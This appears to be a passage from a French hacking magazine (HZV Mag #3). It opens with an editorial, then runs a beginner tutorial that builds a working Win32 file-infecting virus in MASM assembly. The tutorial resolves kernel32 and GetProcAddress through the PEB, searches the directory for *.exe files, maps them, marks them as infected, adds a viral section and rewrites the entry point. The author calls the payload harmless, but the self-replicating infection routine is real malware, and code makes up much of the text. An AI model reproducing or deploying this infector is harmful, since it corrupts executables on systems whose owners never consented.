


L'attente aura cette fois été un peu plus courte mais le numéro 3 devrait, nous l'espérons, 
vous donner satisfaction. 
 
Le thème principal de ce numéro sera la fameuse protection SEH de Microsoft qui fait l'objet 
de deux articles, l'un sur l'analyse et l'autre sur le cassage. Une fois de plus, le travail sur ce 
point montre qu'il n'est jamais bon de croire en la sécurité clé en main et que, malgré les 
efforts de certains, le code ouvert reste la meilleure option contre les erreurs, la mauvaise 
analyse des programmeurs et les imprévus.
 
S'en suivra un article prouvant une énième fois l'inefficacité de la loi HADOPI, loi qui au 
final, restera pour beaucoup une réponse technocratique et bureaucratique à un problème 
juridique d'un plus haut niveau. 
 
Pour résumer, la sécurité ne s'invente pas. Elle se bâti par la confrontation perpétuelle et 
réfléchie de ceux qui la conçoivent et de ceux qui la défient.
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Dans un monde en constante évolution, la 
dernière des vérités est celle de l'enseignement 
par la pratique.
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HZV Mag #3

introduction
Cet article concerne particulière-
ment les débutants qui souhaite-
raient comprendre le fonctionne-
ment interne d’un virus ainsi que 
les détails de son développement.

Ici, je ne prétends pas innover, 
présenter de nouvelles méthodes 
d’infections ou, encore moins, 
comment détruire un système. 
Ici, je pose les bases de l’infection 
d’exécutable Win32 de la théorie 
à la pratique. Au travers de cet 
article nous allons développer un 
virus fonctionnel, j’ai pour cela 
adopté une approche modulaire, 
chacune des étapes sera abordées 
avec un bloc de code correspon-
dant à une fonction de notre virus, 

et en les juxtaposant nous obtien-
drons un virus parfaitement opé-
rationnel. Vous pourrez d’ailleurs 
trouver, joint à cet article, le code 
complet et commenté du virus.

Pré-requis
Bien que je compte faire beaucoup 
de rappels et détailler au mieux 
le fonctionnement de notre virus, 
quelques connaissances de bases 
faciliteront grandement la lec-
ture de cet article. J’entends par 
là qu’une bonne connaissance du 
format PE (Portable Executable) 
ainsi que quelques notions sur 
l’assembleur seraient les bienve-
nues. Sachez également que j’ai 
utilisé l’assembleur MASM pour le 
développement du virus, il vous 

iNFeCteur WiN32: 
De La tHéOrie à 

La Pratique
par Kernel Junky

Le terme Virus Informatique fut inventé par Fred Cohen dans sa thèse 
“Computer Viruses : Theory and Experiments“ en 1984, où il parle 
de logiciels auto-réplicatifs ayant les capacités de mettre en péril des 
systèmes prétendus sécurisés. Déjà à l’époque, le terme Virus inspirait 
la peur de part ses antécédents en tant qu’entité biologique nuisible, 
Cohen a donc suggéré plus tard dans son livre “It's Alive“ d’appeler 
ces programmes, programmes vivants. Les scientifiques préfèrent le 
terme automate auto-réplicatif, qui inspire la capacité d’autoreproduc-
tion sans ajouter les idées négatives qu’inspirent les virus ou même, 
suggérer la vie.
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sera utile si vous souhaitez tester des mor-
ceaux, voire l’intégralité du code présenté.

Objectif
Le code malicieux que nous allons dévelop-
per est un virus de type "appender", c'est-à-
dire qu’il ajoute son propre code à la fin des 
exécutables qu’il infecte. Son fonctionnement 
est très simple, il modifie l’Entry Point (EP) 
afin de s’exécuter avant le code de l’applica-
tion, puis rend la main à celle-ci. La charge 
utile (payload) que nous allons lui ajouter, en 
d’autres termes son action sur le système, 
ne sera pas malveillante. Il s’agira seulement 
d’ajouter une boite de dialogue au démarrage 
de l’exécutable infecté, un grand classique !

Il faut bien garder en mémoire que notre virus 
va devoir évoluer seul dans les méandres du sys-
tème, il faudra qu’il puisse s’adapter au mieux 
peu importe l’environnement dans lequel il évo-
lue. Il devra donc aller chercher seul les res-
sources dont il a besoin pour effectuer sa tache. 
C'est-à-dire que toutes les librairies, fonctions ou 
encore variables, devront être cherchées dyna-
miquement dans la mémoire du système cible.

rappel
Avant de passer aux choses sérieuses, quelques 
rappels s'imposent en ce qui concerne les librai-
ries ainsi que leur table d’export. Pour commen-
cer, sachez que les fonctions dont notre virus 
a besoin se trouvent dans la librairie kernel32.
dll et comme mentionné plus haut, il faut que 
notre virus trouve ses ressources dynamique-
ment en mémoire. En ce qui concerne la DLL 
kernel32.dll, elle se charge toujours à la même 
adresse mémoire, cependant cette adresse va-
rie selon la version de Windows. Deux solutions 
s’offrent à nous: soit nous faisons une liste 
des différentes versions de Windows avec les 
adresses de kernel32.dll qui leur correspondent 
et nous les intégrons dans le code du virus, soit 
nous cherchons cette adresse dynamiquement 
dans la mémoire. Dans un souci de portabilité, 
nous allons  choisir la méthode dynamique.

Une fois que nous aurons trouvé Kernel32.dll 
en mémoire il faudra que notre virus cherche, 
dans la table d’export de la DLL, les fonc-
tions dont il a besoin. Si vous savez comment 
cette table fonctionne vous pouvez passer 
à la partie suivante, sinon, je vous conseille 
vivement de lire la suite avec attention.

Tout commence avec le loader (il s’agit d’un 
programme qui charge les applications en 
mémoire afin qu’elles puissent êtres exécu-
tées). En chargeant l’application en mémoire, 

le loader va également charger dans l’espace 
d’adressage de celle-ci les DLLs dont elle a 
besoin pour fonctionner. Le loader achève sa 
tache en regardant les fonctions que l’appli-
cation importe et lui donne les adresses leur 
correspondant en regardant dans la table 
d’exportation des DLLs. Afin de bien saisir le 
concept nous allons rapidement retracer le 
travail du loader dans la suite de cette partie.

Voici la structure IMAGE_EXPORT_DIRECTORY, 
elle est contenue dans la structure d’une DLL 
et permet au loader de lister le contenu de 
la DLL et de récupérer les adresses des fonc-
tions qu’elle exporte. (cf. Spéc. du format PE)

struct _IMAGE_EXPORT_DIRECTORY {
    0x00 DWORD Characteristics;
    0x04 DWORD TimeDateStamp;
    0x08 WORD MajorVersion;
    0x0a WORD MinorVersion;
    0x0c DWORD Name;
    0x10 DWORD Base;
    0x14 DWORD NumberOfFunctions;
    0x18 DWORD NumberOfNames;
    0x1c DWORD AddressOfFunctions;
    0x20 DWORD AddressOfNames;
    0x24 DWORD 
AddressOfNameOrdinals;
};

: 

Le terme «librairie» est un angli-
cisme et désigne une bibliothèque 

de fonctions. Sous windows, il s'agit de 
fichiers de liens dynamiques (DLL).

HZV Mag #3
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Nous allons nous servir des informations 
contenues dans le PEB (Process Environ-
ment Block) afin de récupérer l’adresse de 
la librairie. Pour rappel, le PEB est une struc-
ture interne de Windows qui contient dif-
férentes informations sur le processus.

Nous commençons par initialiser EAX avec la 
valeur pointée par FS:[30h], cette valeur pointe 
vers une structure appelée PEB. Nous char-
geons ensuite dans EAX l’adresse pointée par 
EAX+0Ch qui contient le début de la structure 
_PEB_LDR_DATA, il faut savoir que cette struc-
ture est très peu documentée cela dit nous sa-
vons qu’elle contient des informations sur les 
librairies chargées avec le programme. Il y a  
donc de fortes chances de trouver kernel32.dll 
quelque part par là. Enfin, à l’intérieur de cette 
structure on peut trouver le champ InInitializa-
tionOrderModuleList qui contient l’adresse d’une 
liste chaînée, on charge donc cette adresse dans 
ESI en ajoutant l’offset du champ à l’adresse 

chaine de caractères "HZV" en prenant soin de 
compter le nombre de fonctions la précédant. 
Bingo, la chaine"HZV" est à la 10ème position 
dans le tableau, avec cette information en main, 
nous nous dirigeons vers le tableau indiqué par 
le champ AddressOfNameOrdinals. Une fois de-
dans, nous récupérons l’ordinal situé en 10ème 
position. L’ordinal que nous venons de récupé-
rer va servir d’index pour le tableau pointé par 
AddressOfFunctions et indiquera l’adresse de la 
fonction "HZV". Par exemple, l’ordinal vaut 5, 
alors la 5ème valeur du tableau est la RVA de la 
fonction "HZV".C’est presque trop facile, non ?

Où est Kernel32.dll ?
Comme dit précédemment, il faut que nous 
commencions par trouver kernel32.dll dans 
la mémoire de notre processus. Une chance 
pour nous, cette librairie a une petite par-
ticularité : le loader la charge en mémoire à 
l’exécution de tous les programmes, peu im-
porte qu’elle soit utilisée ou non (en réalité le 
loader charge deux librairies par défaut : ker-
nel32.dll et ntdll.dll). Notre tâche est donc de 
retrouver l’adresse de cette librairie dans l’es-
pace d’adressage alloué à notre processus. 
Voici la procédure qui va nous aider à retrou-
ver cette adresse, je précise que ce code ne 
fonctionne qu’avec les noyaux NT et non 9x.

Nous allons nous concen-
trer sur 3 champs en particulier:

- AddressOfFunctions, qui est une RVA 
pointant vers un tableau de RVA cor-
respondant aux fonctions de la DLL.

- AddressOfNames, qui est une RVA poin-
tant vers un tableau de RVA correspon-
dant aux noms des fonctions de la DLL.

- AddressOfNameOrdinals, qui est une RVA 
pointant sur un tableau de valeurs de 16 bits 
correspondant aux ordinaux associés aux noms 
des fonctions du tableau AddressOfNames.

Pour fournir les adresses des fonctions néces-
saires à notre application, le loader effectue 
un petit travail. Imaginons que nous sommes 
le loader, nous connaissons le nom de la fonc-
tion dont a besoin l’application, puisqu’elle est 
inscrite dans son code, mais comment trou-
ver l’adresse mémoire correspondant au code 
de la fonction ? Simplement en se servant in-
telligemment des tableaux cités ci-dessus.

Exemple: une application importe une fonction 
nommé "HZV", en tant que loader nous connais-
sons la DLL qui l’exporte, il ne reste plus qu’à 
trouver l’adresse de la fonction. Nous allons 
donc dans la structure d’export de la DLL puis 
dans le tableau situé à l’adresse contenu par le 
champ AddressOfNames et nous cherchons la 

GetKernel32Address PROC
    xor    eax, eax
    mov    eax, fs:[30h]
    mov    eax, [eax+0Ch]
    mov    esi, [eax+1Ch]
    lodsd
    mov    ebx, [eax+8]
    mov aKernel32, ebx
    ret
GetKernel32Address ENDP

: 
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Structure d’export
Maintenant que nous avons l’adresse de la 
kernel32.dll et que nous savons nous ser-
vir de la structure d’export, nous allons 
bientôt pouvoir récupérer les fonctions né-
cessaires à notre virus. Tout d’abord allons 
chercher la structure d’export de kernel32.dll.

Quelques connaissances sur la structure PE 
et quelques lignes de code suffisent à retrou-
ver l’adresse de la structure recherchée. Nous 
chargeons l’adresse de kernel32.dll dans EAX 
puis nous plaçons la RVA de l’en-tête PE dans 

de la structure, via EAX+1Ch. Chaque lien de 
cette liste fait référence à un module chargé 
dans l’espace d’adressage du processus : Le 
premier lien est le processus lui-même, le se-
cond est la ntdll.dll et le troisième est kernel32.
dll. Il suffit donc de charger l’adresse du début 
de la liste dans EAX via l’instruction LODSD, 
puis de lui donner l’offset de l’adresse de ker-
nel32.dll, EAX+8. Nous terminons en sauve-
gardant l’adresse récupérée dans une variable. 
Voici une partie des structures que nous avons 
explorées, cela paraitra sans doute plus clair.

0:000> dt ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
[...snip...]

0:000> dt ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsLegacyProcess  : Pos 2, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
   +0x003 SpareBits        : Pos 5, 3 Bits
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA

: 

[...snip...]

0:000> dt ntdll!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
[...snip...]

GetExportAddress:
    mov eax, aKernel32
    mov    ebx, [eax+3Ch]
    add ebx, eax
    mov ebx, [ebx+78h]
    add ebx, eax
    mov aExportStruct, ebx

: 
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de 4, ce qui nous permettra de parcourir le ta-
bleau facilement en rappelant à chaque tour de 
boucle LODSD, je rappel que chaque RVA du 
tableau pointe vers un chaîne de caractères. 
EAX contient maintenant le premier pointeur du 
tableau qui pointe vers la première fonction ex-
portée par kernel32.dll (les fonctions sont dans 
l’ordre alphabétique) et comme toujours, nous 
ajoutons l’ImageBase de kernel32.dll. Main-
tenant que nous avons notre première chaîne 
de caractère, il va falloir vérifier s’il s’agit de 
"GetProcAddress", pour cela nous allons sim-
plement  faire une comparaison de chaîne. On 
met EAX dans EDI, on sauve ESI et on charge la 
chaîne "GetProcAddress" dans ESI. Puis grâce à 
l’instruction CMPSB nous comparons, octet par 

besoin (nous les verrons plus loin), il ne nous 
reste plus qu’à trouver l’adresse de GetPro-
cAddress. Pour cette étape nous n’avons pas 
le choix, il faut coder une fonction équivalente 
à celle du loader pour trouver GetProcAddress.
Première étape, la préparation des registres :

Nous chargeons l’adresse de Kernel32.dll dans 
EDX, puis l’adresse de la structure d’export 
dans EBX. Ensuite, nous chargeons dans ESI 
l’adresse de la table de pointeurs de noms (Ad-
dressOfNames). Enfin on ajoute l’ImageBase de  
kernel32.dll, car EBX+20h pointe vers une RVA.

Notre objectif va maintenant être de trou-
ver la position de la RVA correspondant à la 
chaine "GetProcAddress" dans notre table de 
pointeurs de noms. Il va donc falloir parcou-
rir le tableau adresse par adresse, en compa-
rant des chaines de caractères, jusqu'à trou-
ver celle qui correspond à "GetProcAddress".

Notre code (ci-contre) commence par une ins-
truction nommé LODSD, elle permet de charger 
la valeur pointée par l’adresse contenu dans 
ESI dans le registre EAX puis d’incrémenter ESI 

EBX, elle est situé à l’adresse indiqué par l’off-
set EAX+3Ch. Nous ajoutons à cette valeur 
l’ImageBase contenu dans EAX afin d’obtenir 
l’adresse complète, EBX pointe maintenant 
vers le début de l’en-tête PE. Un bref coup d’œil 
dans la référence du format PE nous permet 
de situer la structure IMAGE_EXPORT_DIREC-
TORY par rapport à l’en-tête PE, elle se trouve 
toujours 120 octets plus loin. Nous chargeons 
donc la RVA de la structure d’export dans EBX, 
elle est située à l’offset EBX+78h (120 dé-
cimal = 78 hexa.) puis on y ajoute l’Image-
Base contenue dans EAX, toujours dans le 
but d’obtenir l’adresse complète. On termine 
en sauvegardant l’adresse dans une variable.

GetProcaddress

Si nous décidons de récupérer toutes les fonc-
tions nécessaire au virus en utilisant la méthode 
du loader vue précédemment, on risque de 
perdre pas mal de temps. Nous, nous n’avons 
pas de temps à perdre, nous allons donc utiliser 
une fonction afin qu’elle nous trouve l’adresse 
de toutes celles dont nous avons besoin, il 
s’agit de GetProcAddress. Cette fonction prend 
deux paramètres : l’adresse de la librairie où 
est contenue la fonction cherchée et le nom de 
la fonction cherchée, à partir de cela elle nous 
revoie son adresse, pratique non ? Nous avons 
déjà l’adresse de la librairie (kernel32.dll), ain-
si que le nom des fonctions dont nous avons 

Get_GetProcAddress:
    mov edx, aKernel32
    mov ebx, aExportStruct
    mov esi, [ebx+20h]
    add esi, edx

: 

FindGetProcAddress:
lodsd
add eax, edx
mov edi, eax
push esi
lea esi, offset sGetProcAddress

StringCmp:
cmpsb
jne NextFunction
cmp byte ptr [edi], 0
je GetProcAddressFound
jmp StringCmp

NextFunction:                              
pop esi
inc ecx
jmp FindGetProcAddress

: 
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Celle-ci va nous renvoyer l’adresse de la fonc-
tion demandée dans EAX, que nous stockons 

qu’elle puisse nous renvoyer l’adresse de celle-
ci. Toutes les fonctions que nous utiliserons 
dans la suite de l’article ont été fournies par 
la procédure suivante (pour des raisons pra-
tiques, le code suivant ne contient pas toute les 
fonctions nécessaires, mais le concept est là).

Notre code contient donc les noms de fonc-
tions à passer à la fonction GetProcAddress, 
mais également des allocations mémoire afin 
de stocker la valeur de retour de celle-ci.
Il commence par charger dans EDI l’adresse à 
laquelle nous allonsstocker l’adresse de la pre-
mière fonction demandée, puis charge le nom 
de la fonction dans ESI. C’est la que le processus 
commence, nous mettons l’adresse de la chaine 
de caractères sur la pile, ainsi que l’adresse de 
kernel32.dll et nous appelons GetProcAddress. 

octet, la chaîne pointée par ESI à celle poin-
tée par EDI jusqu'à rencontrer un octet nul.
Si les 2 chaines sont égales, on vérifie 
qu’EDI contient bien un octet nul, sinon on 
passe au caractère suivant. Par contre , si 
la condition est rencontrée on saute vers 
un bloc de code pour traiter la donnée ré-
cupérée (nous voyons cela juste après).
Si les 2 chaines ne sont pas égales, on saute au 
bloc "NextFunction" qui va restaurer ESI, incré-
menter ECX et recommencer le processus. Je rap-
pelle que l’on cherche à connaitre la position de 
l’adresse pointant vers "GetProcAddress", c’est 
pour cela que l’on incrémente ECX à chaque tour.

Maintenant que l’on connait la position de 
l’adresse de notre chaîne de caractères 
dans la table, nous allons pouvoir aller cher-
cher son ordinal, et enfin, son adresse.

Scan d’aPi
Nous avons réussi à récupérer l’adresse mé-
moire de la fonction GetProcAddress, il ne 
nous reste plus qu’a récupérer les adresses 
des autres fonctions dont nous avons besoin. 
Ci-dessous le prototype de GetProcAddress.
Il suffit de lui donner l’adresse de kernel32.
dll et le nom de la fonction cherchée pour 

GetProcAddressFound:
xor eax, eax
mov esi, [ebx+24h]
shl ecx, 1
add esi, ecx
add esi, edx
mov ax, word ptr [esi]

shl eax, 2
add eax, [ebx+1Ch]
add eax, edx
mov ebx, [eax]
add ebx, edx
mov aGetProcAddress, ebx

: 

FARPROC WINAPI GetProcAddress(
  __in  HMODULE hModule,
  __in  LPCSTR lpProcName
);

: 

.data
sCloseHandle         db 
"CloseHandle",0
sCreateFileA         db 
"CreateFileA",0
sLoadLibrary        db 
"LoadLibraryExA", 0

db 0FFh

aCloseHandle         dd ?
aCreateFileA         dd ?
aLoadLibrary        dd ?

.code
_start:
lea edi, aCloseHandle
lea esi, sCloseHandle

APISearch:
push esi
push aKernel32
call aGetProcAddress
mov [edi], eax
add edi, 4

NextAPI:
inc esi
cmp byte ptr [esi], 0
jne NextAPI
inc esi
cmp byte ptr [esi], 0FFh
jne APISearch

END _start

: 
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recherche d’exécutables
Maintenant, nous allons doter notre virus d’une 
fonction lui permettant de trouver des cibles, 
mais attention, pas n’importe quels fichiers, des 
fichiers exécutables. Pour cela nous allons utili-
ser deux fonctions : FindFirstFile et FindNextFile.

Comme nous pouvons le constater, la fonction 
FindFirstFile prend en paramètre une chaine de 
caractères. Cette chaine peut être un nom de 
fichier ou une wildcard, ici le plus intéressant 
serais de passer "*.exe" afin de récupérer les 
exécutables du répertoire courant. La fonc-
tion prend également en paramètre un poin-
teur vers une structure que la fonction va se 
charger de remplir (Je vous laisse faire des re-
cherche pour plus de détails sur la structure).

qu’il va falloir que nous fassions une autre 
procédure permettant un scan des fonctions 
de user32.dll, rassurez-vous cela sera plus fa-
cile que lors du scan de kernel32.dll, car nous 
avons dorénavant tous les outils nécessaires 
en main. Pour commencer il faut que nous 
trouvions l’adresse de user32.dll, nous allons 
donc utiliser pour cela la fonction LoadLi-
brary pour récupérer l’adresse de celle-ci.

Le code est plutôt simple, nous faisons poin-
ter EAX sur la chaîne de caractères correspon-
dant à "user32.dll" puis nous la mettons sur la 
pile, nous appelons par la suite LoadLibraryExA 
afin de récupérer son adresse (plus facile que 
l’exploration du PEB, hein ?). Ensuite nous fai-
sons pointer EDI sur la chaîne de caractères 
correspondant à "MessageBoxA" que nous pla-
çons sur la pile, ainsi que l’adresse de user32.
dll. Puis nous appelons GetProcAddress, nous 
nous retrouvons donc avec l’adresse de Mes-
sageBoxdans EAX, que nous sauvegardons.

aussitôt à l’emplacement mémoire pointé par 
EDI. Enfin nous incrémentons EDI, les alloca-
tions mémoire étant réalisées les unes après les 
autres (si l’on se réfère à notre code) en incré-
mentant EDI de 4, nous pointons maintenant 
sur l’espace alloué à aCreateFileA. Cependant 
pour trouver l’adresse de la chaîne de caractères 
qui pointe vers "CreateFileA", ce n’est pas aussi 
simple. En effet il va falloir trouver la fin de la 
chaine "CloseHandle", qui est terminée comme 
il se doit pas un octet nul, afin de pointer vers 
le début de la chaine "CreateFileA", d’où mon 
morceau de code incrémentant ESI et cherchant 
l’octet nul. Une fois l’octet nul trouvé, on recom-
mence le processus afin de trouver l’adresse de 
la seconde fonction et ainsi de suite. En ce qui 
concerne la ligne comparant ESI à 0FFh, il s’agit 
en fait d’une sentinelle, elle est nécessaire car 
notre procédure de recherche doit s’arrêter 
une fois toutes les fonctions trouvées, 0FFh 
est donc la valeur qui indique à notre procé-
dure de se stopper une fois son travail achevé.

MessageBox
A partir de ce moment, nous avons récupéré 
quasiment toutes les fonctions nécessaires, 
sauf notre fonction MessageBox, qui permet 
l’affichage d’une boîte de dialogue. En fait c’est 
parce qu’elle ne se trouve pas dans la librairie 
kernel32.dll, mais dans user32.dll, une autre 
librairie du système Microsoft. C’est pour cela 

HMODULE WINAPI LoadLibraryEx(
  __in        LPCTSTR lpFileName,
  __reserved  HANDLE hFile,
  __in        DWORD dwFlags
);

: 

GetMessageBox:
    lea eax, sUser32
    push 2h
    push 0
    push eax
    call aLoadLibrary   
    mov aUser32, eax

    lea edi, sMessageBox        
    push edi
    push aUser32
    call aGetProcAddress
    mov aMessageBox, eax

: 
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FileSize, CreateFileMapping et MapViewOfFile.

Commençons par CreateFile, cette fonc-
tion nous permet de récupérer un handle 
sur le fichier afin de pouvoir le manipuler.

Rapides explications des paramètres de 
notre appel (dans l’ordre des PUSH) :

Push n°1 : Inutile car nous ouvrons un 
fichier qui existe sur le disque.

Push n°2 : Correspond au paramètre 
FILE_ATTRIBUTE_NORMAL, c'est-à-dire 
que les paramètres utilisés seront ceux du 
fichier.

Push n°3 : Correspond au paramètre 
OPEN_EXISTING, c'est-à-dire que la fonc-
tion doit renvoyer un handle uniquement si 
le fichier existe.

Comme convenu dans le prototype de la 
fonction, nous lui passons une structure à 
remplir, ainsi que le critère de recherche, ici, 
"*.exe". Nous effectuons un petit contrôle 
d’erreur et si tout est bon on commence à in-
fecter le fichier. La fonction d’infection va se 
servir des valeurs contenues dans la struc-
ture passée en paramètre afin de mapper 
et de copier le virus dans l’exécutable cible.

Mappage
Le mappage va nous permettre de charger l’exé-
cutable cible en mémoire et de le modifier direc-
tement dans celle-ci. Pour ce faire nous allons 
nous servir de quatre fonctions : CreateFile, Get-

En ce qui concerne la valeur de retour de la 
fonction, il s’agit d’un handle à passer à la 
fonction FindNextFile, il contient des infor-
mations sur le prochain fichier correspondant 
aux critères de recherche. Nous allons dé-
tailler uniquement la fonction FindFirstFile, car 
FindNextFile est exactement la même, la seul 
différence étant que FindFirstFile va trouver le 
premier fichier correspondant aux critères et 
FindNextFile va continuer de parcourir le réper-
toire grâce au handle fourni par FindFirstFile.

HANDLE WINAPI FindFirstFile(
  __in   LPCTSTR lpFileName,
  __out  LPWIN32_FIND_DATA 
lpFindFileData
);

BOOL WINAPI FindNextFile(
  __in   HANDLE hFindFile,
  __out  LPWIN32_FIND_DATA 
lpFindFileData
);

: 

typedef struct _WIN32_FIND_DATA {
  DWORD    dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    nFileSizeHigh;
  DWORD    nFileSizeLow;
  DWORD    dwReserved0;
  DWORD    dwReserved1;

: 

  TCHAR    cFileName[MAX_PATH];
  TCHAR    cAlternateFileName[14];
}WIN32_FIND_DATA, *PWIN32_FIND_
DATA, *LPWIN32_FIND_DATA;

FindFirst:
    lea    eax, win32FindData
    push eax
    lea    eax, exeMask   
    push eax
    call aFindFirstFile
    cmp eax, -1                       
    je SearchClose
    mov searchHandle, eax
    call Infection

: 

push 00h
push 80h
push 03h
push 00h
push 01h
push 0C0000000h
lea eax, win32FindData.cFileName
push eax
call aCreateFileA
cmp eax, -1
je InfectionClose
mov fileHandle, eax

: 
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Rapides explications des paramètres de 
notre appel (dans l’ordre des PUSH) :

Push n°1 : Par défaut, donc nul

Push n°2 : Correspond à la taille du fichier + 
2000h afin d’assurer nos arrières pour la copie 
du virus.

Push n°3 : Paramètre utile en cas de gros 
fichier (non utilisé, donc nul)

Push n°4 : Correspond au paramètres PAGE_
READWRITE, c'est-à-dire l’équivalant des pa-
ramètres passés à CreateFile afin de pourvoie 
lire et modifier le fichier.

Push n°5 : Par défaut, donc nul

Push n°6 : le handle obtenu via l'appel à 
CreateFile.

Encore une fois, un contrôle d’erreur pour quit-
ter proprement notre procédure en fermant 
les handles ouverts est implémenté. Une fois 
notre handle récupéré, nous allons enfin pou-
voir mapper notre exécutable en mémoire, 

une fois, il y a un contrôle d’erreur permet-
tant de clore le handle et de quitter la procé-
dure. Nous allons maintenant obtenir un deu-

xième handle afin de mapper notre fichier.
Cette fonction ne mappe pas le fichier en mé-
moire, elle donne uniquement un handle sur le 
fichier et initialise les permissions que l’on a sur 
celui-ci. Elle nous permet également de configu-
rer la taille du fichier à mapper, ici nous ajoutons 
2000h à la taille original du fichier afin d’être 
sur d’avoir la place de copier notre code viral. 

Push n°4 : Pointeur de structure, elle n’est 
pas nécessaire si l’on ouvre un fichier déjà 
existant.

Push n°5 : Correspond au paramètre 
FILE_SHARE_READ, c'est-à-dire que Create-
File pourra nous renvoyer un handle même 
si l’application que l’on tente d’ouvrir est 
déjà exécutée par un processus.

Push n°6 : Correspond auxparamètres 
GENERIC_READ / GENERIC_WRITE, c'est-à-
dire les accès que l’on désire sur le handle, 
étant donné que l’on va modifier notre fi-
chier, les deux paramètres sont nécessaires.

Push n°7 : Le nom du fichier que l’on 
tente d’ouvrir.

Notons également l’instruction CMP comparant 
EAX à -1, il s’agit simplement du contrôle d’er-
reur: en cas d’échec de la fonction on quitte et 
on passe au fichier suivant. Une fois le handle 
récupéré, nous allons avoir besoin de connaître 
la taille du fichier que nous allons mapper, cela 
va nous permettre d’allouer un espace mémoire 
suffisant pour le stockage en mémoire de celui-
ci. La fonction qui permet cela est GetFileSize.

Elle prend en paramètre un des champs de 
la structure renvoyé par FindFirstFile ainsi 
que le handle précédemment obtenu. Encore 

xor ecx, ecx
mov ecx, win32FindData.
nFileSizeHigh
push ecx
push eax
call aGetFileSize
cmp eax, -1
je InfectCloseFileHandle
mov FileSize, eax

: 

push 00h
mov eax, FileSize
add eax, 2000h
push eax
push 00h
push 04h
push 00h
mov eax, fileHandle

: 

push eax
call aCreateFileMappingW
cmp eax, 0
je InfectCloseFileHandle
mov mapHandle, eax
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téristiques des exécutables au format PE. Si ces 
signatures ne sont pas présentes, on démappe 
le fichier et on passe au suivant. Ensuite nous 
vérifions si la signature du virus est présente, il 
s’agit de la chaîne de caractères "#HZV", si ce 
n’est pas le cas on l’écrit, sinon on démappe le 
fichier et on passe au suivant. Nous stockons 
la signature dans le champ Win32VersionValue 
qui est un champ réservé du COFF Header. Une 
fois ces quelques paramètres vérifiés, nous al-
lons pouvoir commencer à modifier la structure 
de notre PE afin d’y insérer notre code viral.

Le but de ce code est d’insérer une nouvelle sec-
tion dans l’exécutable, pour ce faire il faut éditer 

Push n°4 : Correspond au paramètre FILE_
MAP_WRITE, c'est-à-dire que l’on pourra 
modifier notre fichier.

Push n°5: Handle récupéré via CreateFile-
Mapping.

La phase de mappage est maintenant ter-
minée, nous avons récupérer l’adresse 
à laquelle notre fichier a été mappé.

infection
Nous arrivons à la phase d’infection, et cette 
étape se déroule en plusieurs temps. Tout 
d’abord, il faut vérifier que nous nous trou-
vons bien dans un fichier exécutable de 
type PE et qu’il n’a pas déjà été infecté.
Nous commençons par mettre l’adresse du fi-
chier mappé dans ESI (cette adresse correspond 
au point d’entrée de celui-ci). Nous vérifions la 
présence des signatures «MZ » et «PE», carac-

grâce à MapViewOfFile, qui nous renvoie 
l’adresse à laquelle l’exécutable a été mappé.

Nous ajoutons (encore) 2000h octets à la 
taille de la zone mémoire que nous allons al-
louer et nous donnons les permissions né-
cessaires à la modification de l’exécutable. 

Rapides explications des paramètres de 
notre appel (dans l’ordre des PUSH) :

Push n°1 : Taille de l’espace mémoire à 
allouer (On met le même que dans la fonction 
précédente)

Push n°2 et 3 : Utile si l’on ne souhaite map-
per notre fichier qu’à partir/jusqu’à un certain 
offset.

mov eax, FileSize
add eax, 2000h
push eax
push 00h
push 00h
push 02h
mov eax, mapHandle
push eax
call aMapViewOfFile
cmp eax, 0
je InfectCloseMapHandle
mov mapAddress, eax

: 

mov esi, mapAddress
cmp    word ptr [esi], "ZM"
jnz InfectUnMapViewOfFile
mov eax, [esi+3Ch]
add esi, eax
cmp dword ptr [esi], 'EP'
jnz InfectUnMapViewOfFile
cmp dword ptr [esi+4Ch],"VZH#"
jz  InfectUnMapViewOfFile
mov    dword ptr [esi+4Ch], "VZH#"

: 

xor eax, eax
mov ax, word ptr [esi+06h]
mov sectionsNbr, eax
inc word ptr [esi+06h]

mov    eax, [esi+28h]
add    eax, [esi+34h]

mov    dword ptr oldOEP, eax
add [esi+54h], dword ptr 200h
mov    eax, [esi+50h]
mov    [esi+28h], eax
mov    OriginalImageSize, eax
add    eax, VirusSize
mov    [esi+50h], eax

add    esi, 0F8h
mov    eax, 28h
xor ecx, ecx
mov    ecx, sectionsNbr

: 
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push esi
mul    ecx
pop esi
add    esi, eax
mov    LastSectionHeader, eax

une partie de la structure du PE afin qu’il voie 
notre section. On commence par aller chercher 
le nombre de sections de l’exécutable à l’offset 
[ESI+06h] (ESI pointe sur l'en-tête PE), puis on 
sauvegarde la valeur avant de l’incrémenter de 1.

Ensuite nous allons sauvegarder le point d'en-
trée (EP) actuel de notre exécutable, pour cela 
on récupère d’abord l’AddressOfEntryPoint 
situé à l’offset [ESI+28h] et on y ajoute 
l’ImageBase contenue à l’offset [ESI+34h]. 
Avant de continuer nous modifions la taille 
du header en y ajoutant la valeur 200h (ça 
devrait suffire), c’est nécessaire étant don-
né que j’ajoute une section à la structure.
Nous modifions le point d'entrée (EP) du pro-
gramme afin qu’il corresponde au début du 
code que l'on ajoute. Nous récupérons sim-
plement la taille de l’image qui est située à 
l’offset [ESI+50h] (SizeOfImage), cette valeur 
correspondant à la taille en octets de l’exécu-
table une fois chargé en mémoire, et nous la 
plaçons e dans le champ AddressOfEntryPoint. 
Pour bien faire les choses j’ai également incré-
